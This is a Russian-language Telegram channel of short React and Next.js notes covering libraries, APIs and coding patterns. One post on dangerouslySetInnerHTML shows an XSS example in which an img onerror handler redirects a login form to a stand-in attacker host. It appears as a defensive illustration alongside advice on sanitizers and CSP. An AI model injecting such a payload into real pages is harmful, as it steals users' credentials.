Заметки про React
3.81K subscribers
34 photos
8 videos
485 links
Короткие заметки про React.js, TypeScript и все что с ним связано

Контакт: @rimlin
Download Telegram
Серверные функции в Tanstack Router

В Tanstack Router появилась возможность использовать серверные функции.


// getServerTime.ts
import { createServerFn } from '@tanstack/start'

export const getServerTime = createServerFn('GET', async () => {
await new Promise((resolve) => setTimeout(resolve, 1000))
return new Date().toISOString()
})

// Time.tsx
import { useServerFn } from '@tanstack/start'
import { useQuery } from '@tanstack/react-query'
import { getServerTime } from './getServerTime'

export function Time() {
const getTime = useServerFn(getServerTime)

const timeQuery = useQuery({
queryKey: 'time',
queryFn: () => getTime(),
})
}


Серверные функции можно вызывать на сервере или на клиенте. Под капотом используется библиотека Vinxi, предназначенная для создания фулстек приложений.

Серверные функции извлекаются из клиентского бандла в отдельный серверный бандл во время компиляции. На сервере они выполняются как есть и результат отправляется обратно клиенту. На клиенте вызов серверных функций проксируется на сервер, где выполняется функция и результат возвращается на клиент.

https://tanstack.com/router/latest/docs/framework/react/start/server-functions
👍9
@svg-use для импорта SVG

Библиотека @svg-use это набор инструментов и плагинов сборки для использования SVG с помощью механизма <use href>. Автор библиотеки хочет решить проблемы подхода SVG-in-JS с помощью <use href>, но при этом оставляя возможность кастомизации иконок.

Подход SVG-in-JS популярен и удобен для вставки SVG иконок на сайт. В этом подходе с помощью библиотеки svgr SVG преобразуется в React компонент. У этого подхода есть свои плюсы: возможность кастомизации иконок и удобство доставки SVG на сайт внутри JS бандла. Однако, у этого подхода есть и свои минусы:
🔴 Каждый SVG компонент сначала парсится в JS, потом в HTML, когда вставляется в дерево, это влияет на производительность.
🔴 Раздувание HTML дерева.
🔴 Увеличение размера загружаемого JS бандла.

Библиотека @svg-use встраивается в сборщик и генерирует SVG файлы как asset. Внутри сгенерированного SVG файла будут прописаны CSS переменные. Как выглядит использование библиотеки @svg-use:


import { Component as Arrow } from './icon.svg?svgUse';

return <Arrow color="red" />;


В результате на месте использования компонента Arrow рендерится SVG:


<svg viewBox="0 0 24 24">
<use
href="https://my-site.com/assets/icon-someHash.svg#use-href-target"
style="--svg-use-href-color: red"
></use>
</svg>


В asset проекта генерируется файл icon-someHash.svg:


<svg
xmlns="https://www.w3.org/2000/svg"
viewBox="0 0 24 24"
fill="none"
stroke="var(--svg-use-href-color, #111)"
id="use-href-target"
>
<line x1="5" y1="12" x2="19" y2="12"></line>
<polyline points="12 5 19 12 12 19"></polyline>
</svg>


https://fotis.xyz/posts/introducing-svg-use/
Please open Telegram to view this post
VIEW IN TELEGRAM
👍241
Namespace для компонентов

При организации компонентов в React используется подход, когда компонент разбивается на несколько частей и доступ к каждой части происходит через точку, например Card и Card.Header, Card.Body и Card.Footer.

Есть несколько способов реализовать такой подход, например через Function Assignment:


function Card() {}

Card.Header = function Header() {}
Card.Body = function Body() {}
Card.Footer = function Footer() {}

export default Card;


Либо через Object.assign:


export default Object.assign(Card, {
Header,
Body,
Footer,
});


У обоих этих подходов есть минусы:
🔴 Проблема с сериализацией, из-за чего этот подход не будет работать в React Server Components.
🔴 Проблема с tree shaking: все части компонента будут затянуты в бандл, даже если будет использоваться только одна из них.

Для решения этих проблем можно использовать современный способ через ES модули. Пример:


// card.tsx
export function CardRoot() {}
export function CardHeader() {}
export function CardBody() {}
export function CardFooter() {}

// namespaces.ts
export {
CardBody as Body,
CardRoot as Root,
CardFooter as Footer,
CardHeader as Header,
} from "./card";

// index.tsx
export * as Card from "./namespace";

// App.tsx
import { Card } from './src/ui/card';

// Card.Root, Card.Body и т.д.


В этом способе нет runtime вычислений и код работает в React Server Components.

Дополнено: однако из-за особенностей работы бандлера, tree shaking все равно работать не будет.

https://ivicabatinic.from.hr/posts/multipart-namespace-components-addressing-rsc-and-dot-notation-issues
Please open Telegram to view this post
VIEW IN TELEGRAM
👍404
React и FormData

Для сбора данных формы можно использовать FormData – объект, который предоставляет геттеры и сеттеры для значений формы. Его можно использовать во время сабмита формы:


function onSubmit(event: React.FormEvent) {
event.preventDefault()
const formData = new FormData(event.target)

const formValues = {
name: formData.get('name')
email: formData.get('email)
}
}


Чтобы избавиться от геттеров, можно использовать Object.fromEntries для представления данных в виде объекта:


const formValues = Object.fromEntries(formData)
console.log(formValues) { name: 'my name', email: '[email protected]' }
typeof formValues // { [k: string]: FormDataEntryValue }


Если вы работаете с TypeScript, то при использовании FormData могут возникнуть проблемы с типизацией. Эти проблемы можно решить с помощью схемы Zod и парсинга данных:


const formValues = Object.fromEntries(formData) // TYPE: { [k: string]: FormDataEntryValue }

const results = myFormSchema.safeParse(formValues)
if (results.success) {
results.data // TYPE: { email: string, quantity: number }
console.log(results.data.email) // [email protected]
console.log(results.data.quantity) // 5
} else {
// Обработка ошибки
}


React 19 способствует использованию FormData и позволяет получать данные формы при сабмите через проп action:


function MyForm() {
function formAction(formData: FormData) {
// Получаем экземпляр formData вместо event
}

return <form action={formAction}>...</form>
}


https://reacttraining.com/blog/react-and-form-data
👍15👎1
Замена кода на React на CSS :has псевдокласс

Через CSS можно стилизовать дочерние элементы на основании родительского элемента:


.content .card {
background: #f0f0f0;
}


С помощью псевдокласса :has можно сделать наоборот, снизу вверх: стилизовать родительский элемент на основании дочернего элемента. Например, карточки, в которых есть изображение, имеют другой цвет границы:


.card:has(img) {
border-top: 10px solid #fee6ec;
}


Псевдокласс :has поддерживается всеми основными браузерами, глобально 92% пользователей поддерживают его.

С помощью псевдокласса :has можно сделать многие фичи без написания кода на React. В своем блоге Надя Макаревич рассказала несколько примеров использования :has, которые заменяют код на React. Например, стилизация карточки и соседних карточек при фокусе на кнопки действий внутри карточки. Пример CSS стилей:


// Все карточки после карточки с фокусом на кнопку «открытия»
.card:has([data-action='open']:focus-visible) ~ .card,

// Все карточки перед карточкой с фокусом на кнопку «открытия»
.card:has(~ .card [data-action='open']:focus-visible) {
filter: greyscale();
background-color: #f6f7f6;
}

// Стиль карточки с фокусом на кнопку «открытия»
.card:has([data-action='open']:focus-visible) {
transform: scale(1.02);
border-top: 10px solid #c3dccf;
}


https://www.developerway.com/posts/replacing-react-with-css
👍17
TanStack Form

Стейт менеджер формы от TanStack. Особенности:

🔴 Headless архитектура
🔴 Гранулированная реактивность
🔴 Поддержка сложных валидаций и обработок ошибок на уровне формы, поля
🔴 Поддержка через адаптеры для валидаций Zod, Yup, Valibot
🔴 Небольшой размер (5.2кБ gzip)
🔴 Поддержка вложенных объектов и массивов

Пример:


import { useForm } from '@tanstack/react-form';

export default function App() {
const form = useForm({
defaultValues: {
firstName: '',
},
onSubmit: async ({ value }) => {
// Do something with form data
console.log(value);
},
});

return (
<div>
<h1>Simple Form Example</h1>
<form
onSubmit={(e) => {
e.preventDefault();
e.stopPropagation();
form.handleSubmit();
}}
>
<div>
<form.Field
name="firstName"
validators={{
onChangeAsyncDebounceMs: 500,
onChangeAsync: async ({ value }) => {
await new Promise((resolve) => setTimeout(resolve, 1000));

return (
value.includes('error') && 'No "error" allowed in first name'
);
},
}}
children={(field) => {
return (
<>
<label htmlFor={field.name}>First Name:</label>
<input
id={field.name}
name={field.name}
value={field.state.value}
onBlur={field.handleBlur}
onChange={(e) => field.handleChange(e.target.value)}
/>
</>
);
}}
/>
</div>
<form.Subscribe
selector={(state) => [state.canSubmit, state.isSubmitting]}
children={([canSubmit, isSubmitting]) => (
<button type="submit" disabled={!canSubmit}>
{isSubmitting ? '...' : 'Submit'}
</button>
)}
/>
</form>
</div>
);
}


https://tanstack.com/form/latest/docs/overview
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥6👍2
Чистый код React с TypeScript

В своей статье Робин Везер объясняет, как правильно типизировать компоненты React, использовать встроенные типы React, обрабатывать пропсы и дочерние элементы, управлять стейтом с помощью хуков, работать с рефами и обрабатывать события.

Несколько примеров, которые привел автор статьи:

Передача компонентов в пропсах. Можно указать требуемые пропсы у передаваемых компонентов, а определить компонент через генерик тип ComponentType:


import { ComponentType } from 'react'

type ProductTileProps = {
title: string
description?: string
}

type Props = {
render: ComponentType<ProductTileProps>
}

function ProductTile({ render }: Props) {
const props = {…}

return render(props)
}


Для определения рефов через пропсы используйте генерик тип RefObject:


import { RefObject } from 'react'

type Props = {
anchor: RefObject<HTMLElement>
}

function Popover({ anchor }: Props) {
// position component according to the anchor ref
}


MouseEvent и React.MouseEvent. MouseEvent - это нативное JavaScript событие, а React.MouseEvent - это синтетическое событие, которое используется в колбеках React. У них много общего, и их часто можно использовать как взаимозаменяемые, но версия React также учитывает несовместимость браузеров и включает некоторые специфичные для React методы, такие как persist().

https://weser.io/blog/clean-react-with-typescript
Please open Telegram to view this post
VIEW IN TELEGRAM
👎11👍91
Композиция компонентов в React

В своем блоге Доминик Дорфмайстер поделился, почему стоит предпочитать композицию компонентов и ранний возврат, а не условный рендеринг нескольких состояний. Рассмотрим пример «плохого» компонента:


function Layout(props: { children: ReactNode }) {
return (
<Card>
<CardHeading>Welcome 👋</CardHeading>
<CardContent>{props.children}</CardContent>
</Card>
)
}

export function ShoppingList() {
const { data, isPending } = useQuery(/* ... */)

return (
<Layout>
{data?.assignee ? <UserInfo {...data.assignee} /> : null}
{isPending ? <Skeleton /> : null}
{!data && !isPending ? <EmptyScreen /> : null}
{data
? data.content.map((item) => (
<ShoppingItem key={item.id} {...item} />
))
: null}
</Layout>
)
}


Этот компонент плох тем, что в нем много внутренних условных рендеров, что усложняет чтение и понимание работы компонента. Если разобраться во внутренних условиях, то компонент выше можно разделить на три соответствующих состоянию запроса: во время загрузки, нет данных и есть данные. Чтобы отображать каждое состояние запроса по отдельности, используйте ранний возврат и композицию. Такой код будет проще и легче читать. Пример:


export function ShoppingList() {
const { data, isPending } = useQuery(/* ... */)

if (isPending) {
return (
<Layout>
<Skeleton />
</Layout>
)
}

if (!data) {
return (
<Layout>
<EmptyScreen />
</Layout>
)
}

return (
<Layout>
{data.assignee ? <UserInfo {...data.assignee} /> : null}
{data.content.map((item) => (
<ShoppingItem key={item.id} {...item} />
))}
</Layout>
)
}


https://tkdodo.eu/blog/component-composition-is-great-btw
👍28
Контроль компонентов через URL

Интерактивный пост в блоге как сделать поле поиска в таблице, чтобы запрос сохранялся в URL. В примере иллюстрируется распространенный анти-паттерн, когда пытаются синхронизировать стейт поиска и URL.

Правильный паттерн в таком примере использовать URL как источник истины и отказаться от стейта. Это связано с тем, что URL находится вне нашего контроля, и пользователь может сам его изменять. Поэтому использование стейта и useEffect для синхронизации будет приводить к багам. Пример использования URL как источника истины:


export default function Home() {
let searchParams = useSearchParams();
let search = searchParams.get('search') ?? '';

/* ... */

return (
<>
{/* ... */}

<Input
value={search}
onChange={(e) => {
let search = e.target.value;

if (search) {
router.push(`${pathname}?search=${search}`);
} else {
router.push(pathname);
}
}}
placeholder="Find someone..."
/>
</>
);
}


https://buildui.com/posts/how-to-control-a-react-component-with-the-url
👍22👎3
Релиз React DevTools 6.0

Вышел релиз React DevTools 6.0. Основные изменения были связаны с поддержкой серверных компонентов. Что нового:

🔴 Поддержка серверных компонентов в дереве.
🔴 Фильтрация компонентов по окружению. Можно исключить серверные/клиентские компоненты из дерева.
🔴 При выводе стека ошибки использует source map для быстрого перехода в компонент, где произошла ошибка.
🔴 Раскрыли функцию installHook, в которую можно передать настройки. Пригодится для авторов библиотек.

Браузерное расширение еще не было опубликовано, но ознакомиться со списком изменений подробнее и со скриншотами можно в changelog:

https://github.com/facebook/react/blob/main/packages/react-devtools/CHANGELOG.md#600
Please open Telegram to view this post
VIEW IN TELEGRAM
👍18
Негласные правила React хуков

При объявлении хука useEffect нужно указывать список зависимостей, массив переменных, которые используются внутри хука. Например:


const [x, setX] = useState(0);
useEffect(() => {
console.log(x);
}, []);


В этом случае хук объявлен неправильно, переменная x не указана как зависимость. Однако, это правило не универсальное. Некоторые переменные являются стабильными, т.е. ссылка на них не меняется при ре-рендере, и их можно не указывать. Для того чтобы не ошибаться, нужно использовать плагин eslint-plugin-react-hooks. Например, какие переменные плагин считает стабильными:


const [state, setState] = useState() / React.useState()
// ^^^ стабильная ссылка
const [state, dispatch] = useReducer() / React.useReducer()
// ^^^ стабильная ссылка
const [state, dispatch] = useActionState() / React.useActionState()
// ^^^ стабильная ссылка
const ref = useRef()
// ^^^ стабильная ссылка
const onStuff = useEffectEvent(() => {})
// ^^^ стабильная ссылка
Остальные ссылки не стабильны


В своем блоге автор высказывает мнение, что есть недостаток в этом подходе. Если использовать хуки из сторонних библиотек, то возвращаемые в них переменные всегда нужно указывать в зависимостях эффекта. Это может быть setter useAtom из Jotai или вызов функции useMutation из tanstack-query. По идее эти переменные тоже стабильные, но их придется указывать в зависимостях, иначе будет ошибка плагина eslint-plugin-react-hooks.

https://macwright.com/2024/09/19/the-extra-rules-of-hooks
👎36👍7
Оптимизация загрузки SPA с помощью предварительной загрузки чанков

Для уменьшения размера бандла используют подход разделения кода по роутам. В этом подходе при открытии или переключении страницы происходит ленивая загрузка чанка роута. Из-за ленивой загрузки чанка, парсинга и выполнения скрипта увеличивается время загрузки страницы. Это может быть особенно актуально при открытии сайта, в случае ленивой загрузки происходит «водопад» запросов – сначала загружается и исполняется основной бандл, который лениво загружает чанк текущей страницы.

Для решения проблемы водопада при открытии сайта можно вставлять небольшой скрипт в <head>, который будет мапить текущий адрес и чанк роута. Найденный чанк роута может подгружаться через link rel="preload”.

В своей статье автор поделился скриптом для предварительной загрузки чанка. Для реализации автор использовал сборщик Rsbuild. Для именования чанков можно использовать комментарий webpackChunkName. Это пригодится для мапинга пути и имени чанка:


const Home = lazy(
() => import(/* webpackChunkName: "home" */ "./pages/home-page"),
);

export const routeChunkMapping = {
"/": "home",
"/home": "home"
};


https://mmazzarolo.com/blog/2024-08-13-async-chunk-preloading-on-load/
👍113
Environment API в Vite

В Vite 6 появится Environment API, которое позволит использовать Vite в разных окружениях. Это нужная фича для React. Например, это позволит для React с серверными компонентами создавать разный бандл для клиента, сервера и RSC – т.е. 3 разных бандла под каждое окружение.

Кроме этого, Environment API позволит запускать приложения не только на Node.js, но и в других средах выполнения, таких как Deno, Bun, Edge Runtime, а также создавать для этих сред выполнения бандл.

Новое API – это низкоуровневое API, которое предназначено для разработчиков библиотек, и не предполагается, что его будут использовать пользователи напрямую.

https://green.sapphi.red/blog/increasing-vites-potential-with-the-environment-api
👍20
This media is not supported in your browser
VIEW IN TELEGRAM
Drag to Select

Интерактивный гайд с иллюстрациями о том, как реализовать выбор элементов в React. В гайде учтены разные функции, например скроллинг во время перетаскивания, отмена всего выбора через Escape и уменьшение количества выбранных элементов.

https://www.joshuawootonn.com/react-drag-to-select
👍36🔥5
Релиз Next.js 15

Вышел релиз Next.js 15. Можно обновиться как вручную, так и автоматически, используя CLI. Коротко о новых фичах:

- Изменения в API асинхронных запросов. Такие функции как headers, cookies, params и searchParams стали асинхронными. Пример использования:


import { cookies } from 'next/headers';

export async function AdminPanel() {
const cookieStore = await cookies();
const token = cookieStore.get('token');

// ...
}


- fetch запросы, обработчики GET роутов и клиентская навигация не будут по умолчанию кэшироваться. Для fetch запросов появился дополнительный параметр cache: force-cache и no-store.
Параметр force-cache используется для получения данных из кэша, если есть данные, или производит запрос.
Параметр no-store всегда производит запрос.


fetch('https://...', { cache: 'force-cache' | 'no-store' });


- Используется React 19 RC для App Router. Осталась обратная поддержка React 18 для Pages Router. Добавлена поддержка React Compiler. Улучшена читаемость ошибок гидратации – показывается дифф сервер/клиент.

- Улучшения в Turbopack Dev: стал быстрее, стабильнее.

- Добавлен компонент Form с поддержкой прогрессивного улучшения. При сабмите будет происходить переход на страницу в action с параметрами.


import Form from 'next/form';

export default function Page() {
return (
<Form action="/search">
<input name="query" />
<button type="submit">Submit</button>
</Form>
);
}


- Поддержка TypeScript в файле конфига. Можно использовать файл next.config.ts.

https://nextjs.org/blog/next-15
🔥15👍9
useContextSelector – быстрый доступ к большому контексту

Если в вашем приложении используется большой контекст, то он может негативно влиять на производительность приложения. Каждое изменение контекста вызывает ре-рендер всех компонентов, которые зависят от контекста.

Чтобы уменьшить лишние ре-рендеры, можно мемоизировать компоненты:


import { memo } from 'react';

const Welcome = () => {
const { color } = useContext(ThemeContext);
return <WelcomeBody color={color} />
}

const WelcomeBody = memo(({ color }) => {
return <div style={{ color }}>Hello!</div>;
})


Еще один вариант оптимизации - разделить один большой контекст на несколько. У такого подхода есть минус: когда используется слишком много контекстов, с этим сложно работать.

Если вы не хотите использовать стейт-менеджеры, то при работе с контекстом можете использовать библиотеку use-context-selector. С ее помощью можно читать только часть объекта контекста и ре-рендерить, когда эта часть изменится.


import { createContext, useContextSelector } from 'use-context-selector';

const MyContext = createContext(null);

const Counter1 = () => {
const value = useContextSelector(MyContext, value => value.myValue);

}


https://marmelab.com/blog/2024/10/16/usecontextselector-a-faster-usecontext-for-react.html
👍10👎95
Бета релиз React Compiler

Вышел бета релиз React Compiler и ESLint плагина.


npm install -D babel-plugin-react-compiler@beta eslint-plugin-react-compiler@beta


Компилятор работает с 19 версией React, но можно запускать и с 17, 18, дополнительно установив react-compiler-runtime. Пример использования React Compiler в Vite:


// vite.config.js
const ReactCompilerConfig = { /* ... */ };

export default defineConfig(() => {
return {
plugins: [
react({
babel: {
plugins: [
["babel-plugin-react-compiler", ReactCompilerConfig],
],
},
}),
],
// ...
};
});


React Compiler можно запускать только на часть проекта, указав какие файлы обрабатывать:


const ReactCompilerConfig = {
sources: (filename) => {
return filename.indexOf('src/path/to/dir') !== -1;
},
};


Можно использовать ESLint плагин без использования компилятора. ESLint плагин позволяет разработчикам заблаговременно выявлять и исправлять нарушения правил React.


import reactCompiler from 'eslint-plugin-react-compiler'

export default [
{
plugins: {
'react-compiler': reactCompiler,
},
rules: {
'react-compiler/react-compiler': 'error',
},
},
]


https://react.dev/blog/2024/10/21/react-compiler-beta-release
👍18👎21🔥1
Два пути к двум React

Интересные мысли о разном видении интеграции современных функций React в Next.js и TanStack Start.

Next.js – одна из самых популярных библиотек для React. С App Router сервер стал основным местом для вычислений в приложении. Вся основная логика по рендеру перешла в серверные компоненты. Клиентские компоненты нужны только для интерактивности.
Когда сервер является основным в React приложении, то лучшим способом уменьшения вычислений и ускорения работы приложения является кэширование. Next.js поэтапно внедряла кэширование. Например, в бете App Router в Next.js 13 внедрила автоматическое кэширование fetch, потом поменяла поведение в Next.js 15 и внедрила директиву ”use cache”.

TanStack Start – это вариант, когда надо внедрить серверные компоненты, но не хочется делать поворот на 180 градусов относительно того, как создают и структурируют приложение. TanStack Start добавляет поддержку серверных фич, таких как SSR и гидратация, стриминг, серверные функции и другие. Серверные компоненты пока не поддерживаются. Под капотом используется TanStack Router и vinxi. Вкратце, TanStack Router для клиентского роутинга, а TanStack Start для фулстек роутинга. Пример кода роутера:


// app/router.tsx
import { createRouter as createTanStackRouter } from '@tanstack/react-router'
import { routeTree } from './routeTree.gen' // Этот файл генерируется автоматически

export function createRouter() {
const router = createTanStackRouter({
routeTree,
})

return router
}

declare module '@tanstack/react-router' {
interface Register {
router: ReturnType<typeof createRouter>
}
}


Пример файла для запуска сервера:


// app/ssr.tsx
/// <reference types="vinxi/types/server" />
import {
createStartHandler,
defaultStreamHandler,
} from '@tanstack/start/server'
import { getRouterManifest } from '@tanstack/start/router-manifest'

import { createRouter } from './router'

export default createStartHandler({
createRouter,
getRouterManifest,
})(defaultStreamHandler)


Пример файла для гидратации на клиенте:


// app/client.tsx
/// <reference types="vinxi/types/client" />
import { hydrateRoot } from 'react-dom/client'
import { StartClient } from '@tanstack/start'
import { createRouter } from './router'

const router = createRouter()

const root = document.getElementById('root')
if (!root) {
throw new Error('Root element not found')
}

hydrateRoot(root, <StartClient router={router} />)


https://bobaekang.com/blog/two-ways-to-the-two-reacts/
Please open Telegram to view this post
VIEW IN TELEGRAM
👍111👎1🔥1
Управление стейтом в URL в Next.js App Router

В своей статье Аврора Шарфф на примере компонента фильтра показывает, что не так просто управлять стейтом в URL search params в Next.js App Router. Для того чтобы сразу показывать выбранные фильтры при изменении URL, необходимо использовать useTransition и useOptimistic. Иначе URL обновится только после окончания рендера страницы. Также автор рекомендует валидировать входящие данных из URL с помощью валидатора Zod.

Вместо изобретения собственного велосипеда можно использовать библиотеку nuqs – типобезопасный менеджер стейта в URL search params. У него есть встроенный валидатор, где можно объявить дефолтный стейт. Также он поддерживает Next.js и useTransition. Пример использования:


// searchParams.ts

import { parseAsString, createSearchParamsCache, parseAsArrayOf } from 'nuqs/server';

export const searchParams = {
category: parseAsArrayOf(parseAsString).withDefault([]),
q: parseAsString.withDefault(''),
};
export const searchParamsCache = createSearchParamsCache(searchParams);


// Search.tsx

export default function Search() {
const params = useParams();
const [isPending, startTransition] = useTransition();
const [q, setQ] = useQueryState(
'q',
searchParams.q.withOptions({
shallow: false,
startTransition,
}),
);

return (
<form>
<input
onChange={e => {
setQ(e.target.value);
}}
defaultValue={q}
type="search"
/>
<SearchStatus searching={isPending} />
</Form>
);
}


https://aurorascharff.no/posts/managing-advanced-search-param-filtering-next-app-router/
👎7👍5
Безопасное использование dangerouslySetInnerHTML

В своем блоге Алекс Макартур рассказал о безопасном использовании dangerouslySetInnerHTML. По умолчанию, dangerouslySetInnerHTML не даст запустить <script> внутри переданного HTML, т.к. основан на innerHTML, который запрещает это делать. Однако есть другая возможность выполнить JavaScript внутри dangerouslySetInnerHTML – через inline-обработчики события. Пример кода, который выполнится и может украсть личную информацию пользователя:


const App = () => {
return (
<div dangerouslySetInnerHTML={{ __html: `
<img src="x" onerror="document.getElementById('loginForm').action = 'https://bad-place-that-will-steal-your-info.com'">
`}}></div>
);
}


Если вы собираетесь сделать dangerouslySetInnerHTML полностью безопасным, то есть два варианта: Content Security Policy или HTML санитайзер. Пытаться сделать свой HTML санитайзер бесполезно, есть много разных способов выполнения JavaScript, о которых можно не знать, например через псевдопротокол javascript://. Лучше используйте популярные библиотеки DOMPurify или sanitize-html.

Если хотите быть уверены в безопасности dangerouslySetInnerHTML, то используйте Content Security Policy. Пример кода, который полностью запретит все inline-обработчики и javascript:// протокол:


Content-Security-Policy: "script-src 'self'";


https://macarthur.me/posts/safer-dangerouslysetinnerhtml/
👍221
Сохраняйте один уровень абстракции для каждой функции

Представьте компонент, который показывает информацию о текущем пользователе и статус активен ли пользователь в данный момент. Пример такого компонента:


import { useState, useEffect } from "react";

function UserProfile({ userId }) {
const [user, setUser] = useState(null);

useEffect(() => {
fetch(`https://api.example.com/users/${userId}`)
.then(response => response.json())
.then(data => {
const isActive = data.accountStatus === "active" &&
new Date(data.lastLogin) >= new Date(Date.now() - 30 * 24 * 60 * 60 * 1000);

setUser({
name: `${data.firstName} ${data.lastName}`,
email: data.email,
isActive,
});
});
}, [userId]);

if (!user) {
return <p>Loading...</p>;
}

return (
<div>
{user.name} is {user.isActive ? "active" : "inactive"}
</div>
);
}


Это довольно распространенный пример компонента на React. Он не сложный, но в нем есть одна проблема: смешение разных уровней абстракций.

Когда вы пишите код, то смешение разных уровней абстракций в пределах одной функции часто приводит к путанице и затрудняет понимание. Более чистый подход заключается в том, чтобы поддерживать каждую функцию на своем уровне абстракции. На практике это означает, что более высокие функции не должны погружаться в детали, а должны использовать более мелкие функции, в которых скрыты детали.

Рассмотрим тот же компонент после рефакторинга:


import { useState, useEffect } from "react";

function UserProfile({ userId }) {
const [user, setUser] = useState(null);

useEffect(() => {
fetchUser(userId).then((data) => setUser(normalizeUser(data)));
}, [userId]);

if (!user) {
return <Loader />;
}

return <UserStatus user={user} />;
}


Обратите внимание, насколько легче стало его читать. Достаточно одного взгляда, чтобы разобраться что компонент делает.

https://www.tymzap.com/blog/the-magic-of-keeping-one-abstraction-level-per-function
👍21👎21